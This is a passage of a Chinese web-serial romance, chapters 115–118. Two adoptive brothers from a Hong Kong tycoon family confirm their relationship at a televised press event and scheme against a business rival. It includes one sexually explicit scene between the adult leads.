直播现场,陈宗礼回答完记者的问题,刚刚被警告的胖男人,突然站起来,抢了TVA记者的麦克风,问道:“针对昨夜传出来的照片,你们有什么感想呢?这才是我们想知道的!” 这句话结束后,“轰——”的一声,现场炸了锅。 直播的评论更是耍疯了。 【没错!这才是我们想知道的!!】 【胖子好样的!问出我心声,Respect!】 陈宗瑜立刻问身边的人:“那个男人是哪家媒体的?!没人跟他提前沟通吗?!” 负责媒体的公关人员看着名单:“港城娱乐的记者,本来邀请的人临时来不了,那个男人是接替他的……” 公关人员看着签到的名单,念道:“他就签了个字母K。” 老K!陈宗瑜立刻跟庄嘉轩对视。当年在TVA影视街偷拍他们,被陈宗礼砸了手机的狗仔!” 第115章 活动现场,胖男人提问后,一直拒绝坐下,硬邦邦站着直面陈宗礼。表情跟当年被他索要相机时一样,尖锐又倔强。 陈一诺自然也认出老K——那个当年跟他在泳池内扭打的男人。 陈一诺也像当年一样,狠狠瞪回去,舌尖不自觉舔了舔虎牙,侧脸对陈宗礼说:“我来回他?” 陈宗礼看他一副蓄势待发,准备张牙舞爪的模样,连忙压住:“别,我怕你扑上去又打一架,我来。” 陈一诺心不甘情不愿地深呼吸,临了还特意叮嘱:“给我回漂亮点!” 这几句对话被毫无保留地直播出去,屏幕上的评论瞬间疯狂滚动。 【这两人是不是忘了现场在直播?众目睽睽之下,贴那么近说悄悄话~!】 【谈了!肯定谈了!谁家兄弟距离这么近?!肩膀都叠在一起了!】 【呀哎妈呀!有生之年,真给我磕到豪门伪骨科!有颜有钱有地位,还有该死的宿命感!】 把场外评论看得一清二楚的场内主持人,正急着替他们岔开话题。结果被陈宗礼打断。 他把桌面麦克风拉近,说道:“这位记者朋友的问题,跟今天的奠基仪式并不相关。但前面我们对项目的问题已经讨论结束。借这个机会,我干脆回应几句近日的一些传言。” 他身体前倾,双手叠在桌上,没人情味的脸上多了些陈一诺独有的戏谑。 听见这话,所有媒体像睡醒了一样,纷纷坐直,调整相机,精神饱满得像土拨鼠,等候着陈宗礼的回应。 “首先,偷拍可耻。我们已经报警取证,接下来,我们的律师团队会对相关人员、媒体,进行诉讼。这些后续都会通过公告的形式,让大家知道。” 太子爷上来就是敲山震虎,又是报警又宣称采取法律制裁。按照过往经验,接下来,陈宗礼就要痛斥照片的同性恋情,是恶意造谣。 这样一来,刚打满鸡血的媒体,瞬间觉得后背一凉,原本期待的目光都暗淡了许多。 说完狠话,陈宗礼的语气柔和了些许,说道:“其次,我跟一诺目前确实在交往中。” “因为来之不易,所以,希望大家可以给我们一些空间。” “轰——” 陈宗礼毫无预兆地承认恋情,让全场哗然。 李思维被爆同性恋情以来,面对记者都是避而不谈。 谁能想到,陈宗礼如此不按常规出牌,大大方方就承认了!连另外一位当事人——陈一诺都没想到。他只是让他回得“漂亮”,没让他回得“炸裂”。 在他眼中,全是现场记者的慢动作,耳边只剩下“嗡——”的蜂鸣和他紊乱的心跳声。 知道还在直播,他只能努力管理表情,怕记者和观众捕捉到他的诧异,进行过多解读。 陈宗礼在现场的喧闹声减弱后,才接着往下说:“所以,借这个时间,跟各位股东、合作方、一星和天峻的所有员工说一声,请你们放心,我们只会越做越好,不辜负大家的期望。” 说完这段话,他的目光凉凉地看向老K:“还有什么问题要问的吗?” 来之前,他们预判过陈家大概率会否认恋情。毕竟,单凭几张照片就确认同性恋情,过于捕风捉影。 此前,就有狗仔为了搏眼球,把两位同性艺人的互动,错位拍成情人亲密互动。最终被告到公司倒闭。 何况陈家律师团队那么有名,就算真的有同性恋情,以律师的实力,很大机率胜诉。 所以,陈宗礼居然会承认恋情,才是老K始料未及的。现在,陈宗礼还反问他,还有什么要问的。 这简直就是在挑衅。 老K拿起麦克风:“我还想问,陈老太太……” 目光突然从陈宗礼移向老太太,打不过还不能跑么? “请问,您真的能接受同性恋情吗?” 老K简直成了全场娱乐记者的“最强嘴替”,每一个问题,都问在他们的心尖上。 作为港城四大家族之首,陈家的太子爷,地位超然,同时也承担了家族开枝散叶的责任。年轻人好奇同性恋情,拎不清就算了。老一代人,总不能放任不管吧。 本来已经老僧入定的老太太,被突然提问,表情依然很淡然,很凶的上斜眼也是弯弯的。 她耸耸肩:“七十岁的人,有什么不能接受的?一诺是我领养回来的,宗礼是我看着长大的,两个人都相当优秀。优秀的人相互吸引,很正常。” “至于,感情的事,让年轻人自己处理吧。” 看老太太在打太极,老K并不满意,他追着问:“同性恋意味着陈宗礼不会有后代,万一整个陈家要绝后,您作为陈家的大家长、天峻董事长,谁来继承陈家呢?您认为这不是一个问题吗?” 听完这个问题,台下开始窃窃私语。 如果说之前的问题是基于照片绯闻提出的,满足大家的好奇。那现在这个问题,就是带着“有色眼镜”赤/裸/裸的引战了。 在场的陈家人,脸色一个比一个差。 陈一诺气得身体往前,准备开麦骂人。结果,膝盖被陈宗礼一把按住。 陈宗礼嘴巴看似没动,但发出声音,问道:“要干嘛?” 陈一诺咬牙切齿,从牙缝挤出几个字:“我要开麦骂死他!” 陈宗礼继续面无表情道:“骂他就中计了!听话,让老太太处理!” 骂他就中计了!骂他就中计了!骂他就中计了! 陈宗礼的话不能不听。他只能加强呼吸,好让自己的“杀心”慢慢冷静下来。 直播间的所有人,除了看热闹的,也听出老K的恶意。 评论开始从刷“嘴替”,慢慢变成“你礼貌吗?!” 【这胖子什么情况啊?人家老太太都已经委婉表示接受这段恋情。一个七旬老人,接受的心理过程肯定很挣扎,这胖男人还哪壶不开提哪壶,太不礼貌了!】 【我感觉,这个男人从开始抢麦克风,就是为了让陈家下不来台!陈宗礼当着那么多人的面承认恋情,还不够回去交差吗?为难老太太干什么……呸!】 【神经病吧,什么年代了还非得留个后吗?又不是含着金汤匙……哎呀,我错了,确实含着金汤匙。那就更说明,陈家内部已经达成一致了呀!这也要扒!这胖子是没有奶奶吗!】 台下的庄嘉轩气得不行,挽起袖子,就要往前冲。 “快把那男的麦克风关了!我现在就冲上去给他一一顿暴揍!” 怒不可遏的陈宗瑜一把拽着他,她的怒意不比庄嘉轩更盛,但她依然强忍:“你别添乱,要揍也不可能现在揍!死胖子,以为我们老太太好欺负呢?!” 就在群情逐渐激愤的同时,老太太的情绪却很平稳,碰了碰麦克风,场馆内忽然响起一声“嗡——”的尖锐对流声。全场人被噪音震慑,顿时安静下来, 看场下的人都冷静了,老太太才对着老K慢慢出招。 “这位先生,你有小孩吗?” 老K顿了顿,下意识想说“有”。但老太太补了一句:“你最好如实回答,否则等我们去查,发现你没有,就难堪了……” 威慑性很足,老K顿时吞了口口水,只能如实回答:“现在没有,但我希望有。” 后半句,算是聪明地圆了回来,让老太太抓不住他“自己没孩子,谈什么“绝后”。 老太太嘴角扬了扬,像耻笑:“作为一个母亲,一个奶奶,我体验过生育、养育的乐趣。我也培育出三位非常优秀的孙辈。这是我的福报。” “但作为一个长辈,我劝诫他们,世界上乐趣很多,养育小孩并非必选项。” “趁这个机会,我也公布一个消息。在宗礼接手天峻后,也就是将近十年时间,他陆续在内地捐赠超过100所希望小学。接下来,我们还会成立一诺儿童基金会,专门帮助孤幼儿童。” “这些被资助的小孩,将来也会是陈家的一份子。所以,在宏观层面上,陈家不会绝后。” “说得好!!!” 老太太铿锵有力的一番话,引发现场掌声雷动。陈一诺率先起身,拍手叫好,还把手指放嘴边,吹起“流氓哨”。 旁边的陈宗礼也随即起立,给老太太鼓掌,并用余光察觉到陈一诺不时抬头,防止眼泪流下。 一浪高过一浪的掌声,完全遮盖住了老K的追问。 陈宗瑜趁机指挥工作人员:“赶紧把他的麦克风关掉。” 又吩咐主持人:“赶紧结束活动!安排嘉宾退场!” …… 仪式结束后,陈宗礼跟老太太在VIP休息室内,听陈宗瑜做直播简报。 “跟我们关系较好的媒体已经根据我们给的大纲发布新闻。目前看来,整体舆论比较正向,都在夸我们足够坦诚,加上有之前思维姐的事,大家接受程度还是比较高。” “当然,最重要的还是有老太太的支持,还有后续的公益,好感度拉满。” “有一批水军企图带节奏,我们公关团队已经控制住,也给他们发了律师函。” 这时,聂加走进来,说道:“老K在外面,要带进来吗?” 老太太经过今天的折腾,明显累了,摆摆手:“老太婆今天的工作已经结束了,后面的,你们兄妹自己折腾去吧……” 陈宗礼点头,恭敬道:“好的,辛苦了奶奶!” “我们出去聊。”陈宗礼抬抬下巴,跟聂加走出帐篷,抬眼就跟一脸倔强的老K视线对上。 光看他那坚贞不屈的表情,仿佛把自己当成多敢揭露社会丑恶的正义之士。 陈宗礼走到他身旁,忽然抬起手。老K以为他要挥拳,害怕地下意识歪了歪头。 陈宗礼手僵在空中,嘴角扬了扬,心里骂了个:怂。 “放心,叫你过来不是要打你。”手落到他肩上拍了拍,“只是想请你回去给贺朗带句话。” 凌厉的上斜眼,露出把人撕碎的目光:“贺朗,你!死!定!了!” …… 活动结束后,陈一诺独自在“象崖”站了许久。 跟上辈子不同,当时,他是被人绑到这里的。 风,依旧猎猎作响,吹乱了他的头发。他站在悬崖边上,低头往下望。 他回忆里,当时的悬崖像是吃人的“水怪”,会把落水的人,卷入腹中。而那些拍打在崖边溅起的白浪,就是被吃了以后,吐出来的骨头。 当时,他觉得大海阴森又恐怖。 此时,心境不同了,再看脚下的景象,发现这不过是引力作用下产生的潮汐。海水撞击坚硬的悬崖,卷起雪似的白浪,最后“唰”地回落大海。 那些痛啊,不堪回首啊,全被拍碎了,卷走了…… 今天过后,他不再是只有一条烂命,孤独死去的陈一诺。而是被爱环绕,不再孤单的陈一诺。 “喂!陈一诺!” 思绪被打断,他抬头朝声音的方向看去。 陈宗礼大喊着他的名字,还要边喊边招手,完全不顾形象。 而他身后,站着老太太、兰姨、二婶、陈宗瑜、庄嘉轩……都是他的家人。 看他回头,大家莫名大喊了一声:“一诺,回家!” 眼框是瞬间红的,眼泪是滚烫的,它们非常不给面子地从两颊滑落。 来不及擦,也舍不得家人们等他,边跑边喊道:“来了!” 跑过去的时候,眼泪依然止不住地流。 他想:万一被陈宗礼嘲笑,他决定狡辩,说那都是迎风泪。 第116章 从羽南港回家后,有过半日晴的港城,在深夜气温骤降。 但对于居住在老宅内的人,并没有感觉,他们在中央空调庇护下,安然入睡。 房间内,陈宗礼的眼睛在暗夜里异常明亮,熟睡的陈一诺在他怀里均匀呼吸。他微微低头,在他额上印上一个吻,帮他掖好被角,轻手轻脚下床。 一分钟后,书房方向亮起一盏灯。 …… 与此同时,社交平台的大楼内,值班的程序员在电脑前吃宵夜,面前的“在榜热搜”数据,像股票一般升升降降。 一个名为#贺朗出售铁路和港口#的热搜,悄然趴在热榜的15位。 不到2秒,程序员就把目光移开了。 这些富豪随便买卖点什么东西,就爱买个热搜上上,刺激一下股民,这种割韭菜的炫富行为,他非常鄙视。 还不如这几天,#陈宗礼陈一诺#这对豪门兄弟公开恋情有意思呢。 当然,他对此又爱又恨,毕竟,稍早恋情公开的时候,“爆”了好几条热搜,所有人都挤上来吃瓜,服务器直接瘫痪。 技术部的程序员们吭哧吭哧抢救了半小时,刚抢救好,#陈老太力挺#又爆了,他们只能叹了口气,又抢救了一遍。上司嫌他们手脚慢,还故意站在身后监工。差点犯心脏病。 还好一切有惊无险。 不过话说回来,传说这两位豪门少爷,互相结怨那么久,居然能从仇人变情侣,他一个大男人都觉得怪好磕的。热搜恢复正常后,他还摸了一天鱼,吃了一天瓜,心里的怒气才消散。 热闹了一天,此时热搜上风平浪静,看来今晚是个“平安夜”。 程序员吃完宵夜,丢掉外卖,躺在折叠床上满足地眯一会儿。 就在他坠入梦乡的时候,一群有组织的营销号在#贺朗出售铁路和港口#话题下,激烈讨论。 而该话题的热度,也从15位慢慢往上爬,在热搜第三的位置停了下来。 …… 接近中午12点,室内的高温跟室外低温,形成强烈碰撞。难得睡懒觉的陈一诺,半梦半醒间被陈宗礼从身后揽入怀中,他没穿上衣,胸膛隔着睡衣,烫得陈一诺的后背热烘烘的。 心里想着“劳模”陈宗礼怎么也懒床,伸手在枕头旁摸索手机,习惯性打开社交平台。 本以为,他跟陈宗礼的恋情,还挂在热搜第一,谁知道居然是—— #贺朗出售铁路和港口# #贺朗短视商人# 刚开始以为自己没睡醒,他瞪大眼睛,挣开陈宗礼的钳制,靠着枕头坐起认真又看了一遍。发现真不是做梦。 被推开的陈宗礼对怀里虚空表示非常不满。庞大的身躯直接追上来,大臂揽着他的腰拽近自己,近到脑袋直接枕到他腿上才安静。 陈一诺像手办似的被缠着,也不恼,安抚般揉着陈宗礼的头发。手指点进热搜,第一条就是营销号的总结视频,他降低音量,按下播放。 “今晨,贺朗旗下建盛股份有限公司与WWT家族达成协议,以500亿美元出售海外铁路中枢和港口。其资产标的覆盖:15个国家的铁路中枢30处,24个国家的港口56个。” “有财经专家分析,此次交易覆盖的铁路中枢和港口,均为国际上是重要交通枢纽,一旦出售,对我国在国际海陆运输供应链战略部署影响非常大。” “截至目前,国家市场监管局、港城zf,纷纷发表言论,其中港城行/政/长/官认为:贺朗此次合作,是漠视国/家/利/益,特此忠告商人切莫短视。” 刚开始,听说贺朗有意出售港口和铁道中枢寻求快速变现,陈一诺就隐隐觉得不太妥。以为贺朗这只老狐狸再缺钱也不会答应。没想到,居然静悄悄签了合同。 现在被曝出来,引起国家层面的高度重死。也就是说,未来,贺朗无论卖还是不卖,这“卖/国商人”的帽子是戴定了。 他的心情在“不满自己的头条被贺朗占了”以及“苍天有眼,总算让老狐狸自作自受”之间横跳。 “贺朗要完了?” 陈宗礼闷闷的声音传来,好像还没睡饱,脑袋钻进陈一诺睡衣里。 陈一诺无视肚子的鼓起,说道:“会不会完不好说,但名声算是全毁了。” “过年前,普尔斯跟我说,贺朗找他舅舅在谈出售港口的事,还想问你,有没有意愿。如果有,优先选择跟天峻合作,我帮你拒了。” “但我没想到,贺朗居然能勾搭上WWT家族,卖了个高价。” 陈宗礼轻抿他肚子上的软肉,陈一诺难耐地吸了吸肚子,瞬间成了凹下去,陈宗礼不得趣,咬着他的睡裤往下扯。 发现居然是空档,陈宗礼呼出的气故意喷到上面,慢慢看着它发芽、茁壮。 陈一诺敏感地蜷起腿,结果被陈宗礼两只手生生压下,哑着声音警告道:“别动!” 他头埋在月退间,声音含糊:“WWT家族也找过我谈,我没答应。这种资产是红线,不可能售卖。是贺朗太想东山再起,想钱想疯了,以为只要神不知鬼不觉签了合同,低调交易就行。” 说话的时候,口腔在震动,刺激得陈一诺脚趾抓床单,拱起上半身低吟了声。 陈宗礼笑笑,提醒他:“继续说啊……专心点。” 怎么可能专心?!陈一诺要疯了。 他的手搭在陈宗礼宽广的肩膀,看着他的后背的肩胛骨跟着脖颈小幅度运动。 他努力集中注意力,继续道:“既然想低调,怎么刚签完合同,就被爆出来?” “啊……”又没忍住。 陈宗礼喜欢看他的无所适从,笑笑:“当然要等他签完合同再爆啊。” “等等!”陈一诺瞬间清醒了,一把按住他的后脖,强迫他停下:“这件事,是你爆出来的?” 陈宗礼嘴上有水光,眼里满是意犹未尽:“不然呢,这个世界上,还有比我们更恨他的人吗?” 嘴上停了,手上不停。他对陈一诺每一处都太熟悉。 灭顶的感觉来临后,陈一诺眼神陷入一分钟的溃散。 陈宗礼抽了几张纸,把他和陈一诺擦干净。然后重新上床,把人搂在怀里。 胸膛还在起伏的陈一诺悠悠看着他,脸颊红粉菲菲格外勾人。身体是满足的,心头是暖暖的。 昨天的事情发生太突然,他还没有时间好好跟陈宗礼谈。 此时,他靠在陈宗礼肩膀,诺大的空间只有他们。 “记者会上公开恋情,还有举报贺朗,这些事,你从什么时候开始准备的?” 陈宗礼微微扬起头,刘海有些长,搭在眼睛上:“跟贺朗见面回来吧。” “刚开始,我求奶奶帮我们站台,毕竟,她老人家,一句顶我们说十句。” “她就建议,光说不够,再以你的名义设立一个儿童基金会。帮助更多孤儿回归家庭,找不到的领养的,至少给他们一个遮风挡雨的地方。也算给公益做点事。” “老太太手段还是辣,不但告诉所有人,她重视你这个养孙,还身体力行,希望能照顾更多孤儿。” “宗瑜跟我说,一诺儿童基金已经捐出第一笔资金,用于全港10家孤儿院的生活设施升级。等过几天,舆论平息后,我们再对外公布明细。” 陈一诺捏着他的手指,说道:“我真的很感激老太太,要是没有她,我根本遇不到你。也遇不到你的家人。” 陈宗礼转头吻过他额头,说道:“老太太不收养你,我也会单枪匹马去上城把你抢回来的。” “你?”陈一诺揶揄道,“别开玩笑。” 陈宗礼不满歪头看他:“你在灵堂,舌战奇葩亲戚的时候,我就很为你着迷了。” 陈一诺看着他,完全不记得跟陈宗礼在灵堂见过。 他恍然:“所以,我刚到你家,你就看出我是故意装低调的?” 陈宗礼摸摸他的脑袋:“那时,只能算一点怀疑,后来赛车的时候,你自爆了。” 陈一诺低头无奈浅笑,不到三十的年纪,他们已经在想当年。 他抬头亲陈宗礼的喉结:“没想到,我们的事,最后会以这种方式尘埃落定。” 陈宗礼拍拍他的脸:“一诺先生,距离尘埃落定,还早着呢!” “热搜这事只是前菜,我们跟贺朗的仗没打完!还有巴库斯呢!” …… 三小时前,港城,贺宅书房内。贺朗正站在阳台,跟董嘉华打电话。 董嘉华抱怨道:“你这招声东击西也不管用啊!又是爆料,又是威胁,忙活了半天,净给他们创造机会公开恋情了!” 贺朗铁青着脸在阳台前踱步,他是万万没想到,陈老太居然能接受两个孙子搞在一起!让他的计划全泡汤了! 心里暗骂:活该陈家断子绝孙! 电话那头,董嘉华还在抱怨:“这场闹剧结束,他们还要继续参加巴库斯的竞标!这可怎么办呀!” 怎么办怎么办,就知道问别人怎么办! 贺朗觉得面子挂不住,正烦着,听到这句,索性道:“那就公平竞争!我以建盛的名义参与竞标!如果拿下了,我跟你五五分!气能顺了吧!” 之前贺朗一直不想参加竞标,董嘉华正愁着,他自己牵头未必能赢得过董焱,可现在贺朗亲自出马,那肯定十拿九稳! 说完整个人语气都不一样了:“那行!你忙完港城的事,赶紧回来准备竞标!时间很紧啊。” 挂掉电话,贺朗对着电话里的董嘉华骂了句:“狗东西!” 他冷着脸从阳台走回书房,沙发上坐着两个人,港城娱乐老板和老K。这次照片是老K偷拍的,由港城娱乐独家爆料。 本想借这个新闻,在贺朗这里狠狠敲一笔,殊不知,赔了夫人又折兵。 港城娱乐的老板看见贺朗回来,立刻哀嚎:“贺总,你可要帮帮我呀。陈宗礼的律师团队,已经把律师函发过来了,这回真的是奔着告到我们破产去的呀!” “还有老K,他罪名更重……这可怎么办啊……” 董嘉华来问他怎么办就算了,这两个人算什么东西,也配问他怎么办?! 他吼道:“成事不足,败事有余!你问我怎么办,我还要问你怎么办呢!” “钱我已经给了,其他事,我一概不负责!来人!” 话音刚落,三个魁梧的保镖,从走廊冲进办公室。 贺朗抬抬下巴:“把他们带出去!” 老板声嘶力竭:“贺总,你说只要我们把谣言散播出去就好了。我们也在活动现场把该问的都问了,现在得罪了陈家,你不能过河拆桥,看着我们自生自灭啊!” 贺朗耳朵嗡嗡的,一句也不想听,他盯着保镖:“还愣着干嘛?赶紧把他们轰出去啊!” 一个保镖推搡着一个人,老K一边挣脱,一边嚷道:“贺朗,陈宗礼让我给你带一句话!” 贺朗听见姓陈的就来气,冷着脸问他:“带话?带什么话?!” “他说……”老K冷眼看着贺朗,模仿陈宗礼的语气:“贺朗,你!死!定!了!” “放屁!”傲慢的贺朗,大骂,“他和我指不定谁能活下来呢!!” 第一次,老K希望陈宗礼能说到做到。 他冷笑着:“哼,那我放长双眼,看看到底你们谁先死!”说完,也不用保镖压着,自己大步迈出去。 走廊内回荡着秘书小跑声,高跟鞋踩在地毯上的声音,听起来有些闷。 秘书跟老K擦肩而过,她跑进贺朗的办公室,说道:“贺总,不好了!我们跟WWT家族签订的收购协议,被人曝光!现在整个网上都在骂你!已经上热搜了!” 听见收购协议被曝光,贺朗腿软了软,他扶着墙,手放到口袋里找手机。 打开社交平台,看见热榜第一名出现自己的名字,点进去,看见视频里,zf部门对他的炮轰。 “咚——”的一声,他眼前一黑,双膝跪在地上,晕了过去—— 作者有话说:后面爽几章~ 第117章 港城思域医院VIP大楼,这是邮轮事件后,老太太和陈一诺的复诊日。 陈一诺的检查很快,等体检报告的时候,他站在老太太病房外的走廊打电话。 医院的装修是整洁的白,一眼看不到头的走廊内,陈一诺单穿着病号服站着,看上去修长又单薄。 余光看见陈宗礼拿着两杯热咖啡,朝他走来,匆匆挂断电话。 一杯咖啡递到他手里,碰到冰冷的指尖,陈宗礼责备道:“站在这里干嘛?不冷?” 陈一诺捧着咖啡,温度从指尖开始蔓延。他吹凉了,才喝一口,医院的拿铁有点甜。 “我检查完了,就想等等奶奶。” 陈一诺除了来复诊,还专门找医生做了一次心理测试,结果已经发到陈宗礼手机上了,确诊:重度焦虑,需要定期做心理咨询。 陈一诺喝了半杯咖啡,说道:“刚刚,王律给我电话,说贺朗进医院了。” 陈宗礼漫不经心地冷笑了声:“这种程度的打击就受不了了?他还是贺朗吗?” 陈一诺:“这事现在都闹到国/事级别,港城zf连续三天发文敲打,央媒各种转发表态,这种舆论压力下,他要是敢卖出去就有鬼了。” “而且……”陈一诺手肘戳戳陈宗礼,“别装了!你早就料到了吧?” “不然,你怎么会等到他跟WWT家族签订合同才爆料。听说,贺朗要是敢毁约,得赔偿WWT家族480亿的毁约费!” “480亿,美元!” 折合人民币千亿,贺朗赚不了钱就算了,反而还要往外掏钱。老狐狸能不气进医院吗! 陈一诺知道陈宗礼喜欢以牙还牙,但这招釜底抽薪,用得确实又准又狠,一眼就看出是奔着让贺朗死去的。记忆中,陈宗礼是第一回出手如何狠辣。 陈宗礼也不否认:“我猜,当初他决定曝光照片有两个用意。首先,照片一旦曝光,肯定会吸引所有人的关注。还会引发天峻内部的动荡,我们被港城的问题缠着,分身乏术,自然无暇顾及董家那些事,退出巴库斯项目。” “其次,因为媒体的关注点转移,所以他哪怕跟WWT家族签订合约,被报道了也掀不起什么风浪。所以,他才敢提前签合同。” 陈一诺冷“哼”一声,接着往下说:“他以为只有他会操纵舆论,没想到你能反向操纵。他越不想让人知道,你就偏偏让所有人知道。这下好了吧,多行不义必自毙!” “本来,我们恋情曝光,罗署长还挺不开心的,觉得会对羽南港二期带来负面影响。可贺朗这事一出来,有记者爆料,WWT家族也曾经为了购买港口,朝天峻和宏发伸出橄榄枝。结果,都被拒绝。” “现在,天峻正面形象大胜,罗署长反倒挑不出错,气不起来。” 虽然,这罗署长这事,只能算歪打正着,连带天峻股价小幅度波动,倒是证明媒体的注意力确实转移了,总算让他们可以喘口气。 但贺朗毕竟是老狐狸,烂船还有三根钉呢。他们不敢掉以轻心。 陈一诺沉思:“不过话又说回来,贺朗现在元气大伤,还有心思掺和董家的事?” 陈宗礼撇了他一眼,反问:“你觉得他会放弃?” 突然其来的反问,让陈一诺心头咯噔一跳,自言自语道:“哈,贺朗这种赌徒的字典里就没有“放弃”。” 陈宗礼挑眉:“就是咯。” 李家纯一生都在追逐一个传宗接代的儿子。贺朝阳一生都在获得父亲的认可。而贺朗一生都在建立自己的商业帝国,成为一方国王是他人生的终极目标。 他在年轻时候,靠自己白手起家,建立建盛集团,一路征伐成为首富。到了晚年,偶遇一些滑铁卢,他仍有自信能把一切重新夺回来! 但他有的自信,陈宗礼也有,他绝对不会让贺朗再次得逞。 “那接下来,巴库斯的竞标,我们跟他公平竞争?”陈一诺问道。 陈宗礼道:“他眼里就没有公平,那我们为什么要有?!我们得逼他狗急跳墙。” 越到生死关头,越要沉住气,谁急了,那就必输无疑。 陈宗礼眯着眼睛看着外面的风景,冬天再顽强,也抵不住四季更替的车轮缓缓碾来。 枯叶才飘落没多久,嫩绿色的小叶已经从光/裸树枝上冒出来,葱葱郁郁地替大树换上新衣。 冬天过去,春天来了。 首富的位置也该换人了。 …… 三个月后,距离巴库斯竞标日,还有一周。 陈一诺和陈宗礼抽空两天,一同回内地出席北城举办的国/家商业高层会议。 随着羽南港一期的成功,一星集团在港城彻底站稳脚跟,今年,陈一诺第一次作为港城企业家,被邀请参会。 两个帅哥在下车一刻起,就吸引了众多记者的注意。 今天参会的都是富豪,有的富豪富得漏油,身材也“漏油”——胖得漏油。有的注意身材,但颜值欠奉。 而这两位著名的港城豪门总裁站在镜头前一亮相。旁人穿出地摊质感的黑西装,这两人偏能穿出千万高定的王者气势。 上天真的是不公平的,哪怕在富豪界也存在鄙视链。 他们被主办方引到签到版前,刚签好名字,准备进入内场,就被场外的记者大声询问。 “一诺,宗礼,方便接受一下采访吗?” 陈一诺第一次出席会议,心情特别好,停下脚步,用手指对记者比了个“1”,说道:“只回答一个问题哦!” 陈宗礼本来已经往里走了,发现陈一诺没跟上,故意折返回头找他。 看他要回答问题,也没说什么,站在他身后默默等着,目光淡淡看着陈一诺的背影。 本来不抱希望的女记者,突然被陈一诺笑眼弯弯地看着,顿时愣了一秒。 过一会儿,才慌慌张张道:“嗯……有消息说,天峻、一星联合董氏集团,准备参加A国巴库斯项目的竞标。据说你们还在跟宏发集团接洽,打算四家联手竞标,请问,这个消息属实吗?” 陈一诺背着双手,微微弯腰向前对着麦克风说:“距离竞标还有一周,到时候,你们就知道了。” 虽然只准许一个问题,女记者还是追了一句:“看你的样子很自信,是志在必得吗?!” 陈一诺非常犯规地朝镜头眨了眨左眼,说道:“当然!” 破例回答了两个问题,陈一诺不再回答,优雅地摆摆手,转身朝陈宗礼的方向走去。 留下身后一阵,“wuwuwuwu——好帅——”的尖叫声。 陈宗礼没有表情地看着他越过自己,才朝记者们绅士地欠了欠身,晚一步跟上去。 身后又是一阵,“哇——好甜——”的尖叫声。 等陈宗礼追上对方,两人并肩走着,他才低声调侃道:“陈二少,今天那么爱笑呢?把记者小姑娘迷得五迷三道的。” 陈一诺双手插兜,扬起嘴角:“我就知道她要问竞标的事,那我不得多笑笑,加把柴,把火烧旺啊!” 联手竞标巴库斯的消息,是陈一诺让媒体刻意散播出去的,董焱跟陈家兄弟强强联手,本就足够吸引眼球,再有李思维的宏发集团加持。相当于港城三大家族集结,向贺朗一争高下。 这种光看排面就稳赢的局,前期当然让越多关注越好。 但这都不是重点,重点是,要把这些声音传到远在A国备战的贺朗! 让他知道,这一次他必输无疑! 临近会场入口处,站着一个人,陈宗礼停下,肩膀碰碰陈一诺,示意让他看。 陈一诺转头,眯眼细细打量那个人,身圆头秃,普通中年男人,完全不认识,问道:“谁啊?” 陈宗礼道:“黄林,贺朗的副手。应该是代表建盛出席会议。” 他们走近入口处,把邀请函递给工作人员,对方核验身份后,说道:“陈先生,请进。” 陈一诺听见旁边的黄林大声说:“邀请函我也有啊,为什么不能进去?!” 工作人员低声劝慰:“不好意思,黄先生,我们也是刚刚被告知,建盛集团的参会资格被取消,不好意思!” 黄林跟贺朗一脉相传的暴脾气,撒泼道:“让你们管事的来见我!我们可是建盛集团!怎么可能取消!我不信!” 很快,一个身高一米九的男人,身板笔挺走到的黄林面前,身后还跟着两个助理。 他给黄林递上自己的名片,低声说了两句什么,接着,黄林就跟着他往一旁的休息室去了。 走之前,男人还停了一瞬,跟陈宗礼礼貌地点了点头。 知道陈一诺不认识,陈宗礼介绍道:“李安然,李局,是这次会议的主要负责人。” 他收好邀请函,推着陈一诺往里走。 陈一诺“啧啧”几声:“要劳动到他出马,看来建盛真的被踢出去了。” “我真不明白,贺朗在倔强什么,都被骂成那样了,还坚持跟WWT家族合作卖港口啊?那么缺钱?” 陈宗礼从服务员手里拿了一杯香槟,说道:“心疼赔款吧,想等舆论过去,打通一下关系,继续交易。” 哦,原来是想用“拖字诀”。 “管用吗?”陈一诺也拿了杯香槟,“你以前不是说,他跟内地不少官员关系很好?” 陈宗礼淡淡笑着:“如果管用,黄林就不会被请出去。” “等着吧,今天只是一个信号,他要是敢再拖,就不是会议名额被取消那么简单了!” …… 会议没正式开始前,有一个小型酒会,帮助大家破冰。现场人头攒动,站着的全是掌握各行各业命脉的总裁。 突然,身后传来一个声音:“宗礼,一诺,怎么才来啊?” 廓形黑西装配同色喇叭西装裤的李思维,朝他们款款走来。 李家纯成植物人后,她跟母亲在最艰难的时候接手宏发集团。不过半年时间,李思维已经从小女人变身成事业大女主。精神面貌完全不同,连走路都是利落带风的。 “思维,就你一个人?”陈宗礼跟她依然是好友的关系,说话更随意些。 李思维耸耸肩:“我妈想留在港城,宝瑶在C国准备拍卖会,只有我一个人咯。” 陈一诺灵机一动:“相请不如偶遇,既然见到了,思维姐,我们合张影。” “啊?”李思维被突如其来的转折,弄得一头雾水。 没得反应过来,已经被两个帅哥簇拥在中间,“卡擦卡擦”自拍了好几张。 陈一诺翻看着手机里的照片,自言自语地喃喃:“来来来,让我发个社交动态……” “写什么好呢,写什么气人呢……” “……”李思维看看陈一诺有些魔怔的样子,问陈宗礼,“干嘛?竞标压力太大,疯了?” 陈宗礼宠溺地笑笑:“嗯~” 小狗不但爱咬人,还爱气人。 “陈小狗”边用舌头舔自己的虎牙,边快速打出一句:总裁三缺一@董焱又爆炸。 利落按下“发送”键!—— 作者有话说:汪汪汪~~ 第118章 被临时取消会议资格的黄林,此时,正丧着脸,拿着平板站在贺朗身边。 自从,贺朗受刺激过度晕倒后,医生就再三叮嘱他:年轻大了,要控制好情绪,尽量不要发火。 可看见平板里,陈一诺社交平台动态里,那句刺眼的文案,以及配着三个小屁孩的合照。他还是忍不住摔了一个杯子。 “李家纯的女儿把宏发集团那一摊子事忙明白了吗,就过来跟陈家兄弟一起横插一脚!!反了他们!” 虽然,黄林敢在外面豪横,面对贺朗却畏畏缩缩:“我听说,因为董焱想把巴库斯弄成文旅项目,其中涉及酒店运营,和一些艺术建筑。李思维有LS酒店口碑和设计运营经验,最合适不过。所以才拉她入局。” 他咽了口口水,踌躇再三,问道:“贺总,我们真的有必要跟他们争个高低吗?这个阵容光是舆论上,我们就很难赢,再说……这项目也不值得我们投入那么多啊!” 大班椅上的贺朗,高高在上,让人错觉他是一位权势滔天的皇帝。 皇帝坐着“龙椅”,指着“大臣”黄林说:“你懂什么!” 